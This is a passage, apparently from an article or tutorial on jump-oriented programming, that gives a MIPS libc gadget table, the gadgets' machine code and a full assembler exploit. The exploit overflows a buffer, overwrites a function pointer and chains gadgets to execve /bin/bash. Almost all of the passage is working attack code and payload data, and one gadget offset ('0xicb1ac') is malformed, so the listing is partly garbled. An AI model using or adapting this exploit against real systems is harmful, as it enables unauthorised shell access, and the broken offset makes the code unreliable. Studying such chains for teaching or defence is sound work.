<td>initializer</td>
<td>libc+0x103d0c</td>
</tr>
<tr>
<td>dispatcher</td>
<td>libc+0x63fc8</td>
</tr>
<tr>
<td>buffer_length</td>
<td>0x100</td>
</tr>
<tr>
<td>to_null</td>
<td>libc+0x8</td>
</tr>
<tr>
<td>gp</td>
<td>0x4189d0</td>
</tr>
</tbody>
</table>

### GADGET MACHINE CODE

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>lw v0,44(sp)</td>
<td>addu v0,a0,v0</td>
<td>syscall</td>
<td>sw a1,44(sp)</td>
</tr>
<tr>
<td>lw t9,32(sp)</td>
<td>lw v1,0(v0)</td>
<td>lw t9,-27508(gp)</td>
<td>sw zero,24(sp)</td>
</tr>
<tr>
<td>lw a0,128(sp)</td>
<td>nop</td>
<td>nop</td>
<td>sw zero,28(sp)</td>
</tr>
<tr>
<td>lw a1,132(sp)</td>
<td>addu v1,v1,gp</td>
<td>jalr t9</td>
<td>addiu a1,sp,44</td>
</tr>
<tr>
<td>lw a2,136(sp)</td>
<td>jr v1</td>
<td>li a0,60</td>
<td>jalr t9</td>
</tr>
<tr>
<td>sw v0,16(sp)</td>
<td>nop</td>
<td></td>
<td>addiu a3,sp,24</td>
</tr>
<tr>
<td>jalr t9</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>move a3,s8</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### ATTACK DATA

Data for the initializer gadget. We want 32(sp) to refer to the value below, but sp points 24 bytes before the start of this buffer, so we start with some padding.

- times 32-24 db 'x'
- dd dispatcher | sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
- times 44-36 db 'x' | sp+36 (padding)
- dd base + g_start | sp+44 Sets v0 - offset
- times 128-48 db 'x' | sp+48 (padding)
- dd -4 | sp+128 Sets a0 - delta
- dd 0xaaaaaaaa | sp+132 Sets a1
- dd 0xaaaaaaaa | sp+136 Sets a2
- dd 0xaaaaaaaa | sp+140 (padding, since we can only advance $sp by multiples of 8)
MIPS full exploit code (2)

38 ; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
39 ; been advanced by 112 bytes, so it points 32 bytes before this point.
40 dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
41 times 44-36 db 'x' ; sp+36 (padding)
42 dd 0xdeadede ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
43 times 80-48 db 'x' ; sp+48 (padding)
44 dd -4011 ; sp+80 The syscall number for "execve", negated.
45 times 128-84 db 'x' ; sp+84 (padding)
46 dd base+shell_path ; sp+128 Sets a0
47 dd to_null ; sp+132 Sets a1
48 dd to_null ; sp+136 Sets a2
49
50 ; ===== DISPATCH TABLE =====
51 ; The dispatch table is in reverse order
52 g05: dd libc-gp+0x103d0c ; Pre-syscall gadget (same as initializer, see table for machine code)
53 g04: dd libc-gp+0x34b8c ;Gadget "g04" (see table above for machine code)
54 g03: dd libc-gp+0x7d0b0 ;Gadget: jalr t9 ; negu a1,s2
55 g02: dd libc-gp+0x6636c ;Gadget: lw s2,80(sp) ; jalr t9 ; move s6,a3
56 g01: dd libc-gp+0x13d94 ;Gadget: jr t9 ; addiu sp,sp,16
57 g00: dd libc-gp+0xicb1ac ;Gadget: jr t9 ; addiu sp,sp,96
58 g_start: ; Start of the dispatch table, which is in reverse order.
59
60 ; ===== OVERFLOW PADDING =====
61 times buffer_length - ($-$$) db 'x' ; Pad to the end of the legal buffer
62
63 ; ===== FUNCTION POINTER OVERFLOW =====
64 dd initializer
65
66 ; ===== SHELL STRING =====
67 shell_path: db "/bin/bash"
68 db 0 ; End in NULL to finish the string overflow
References


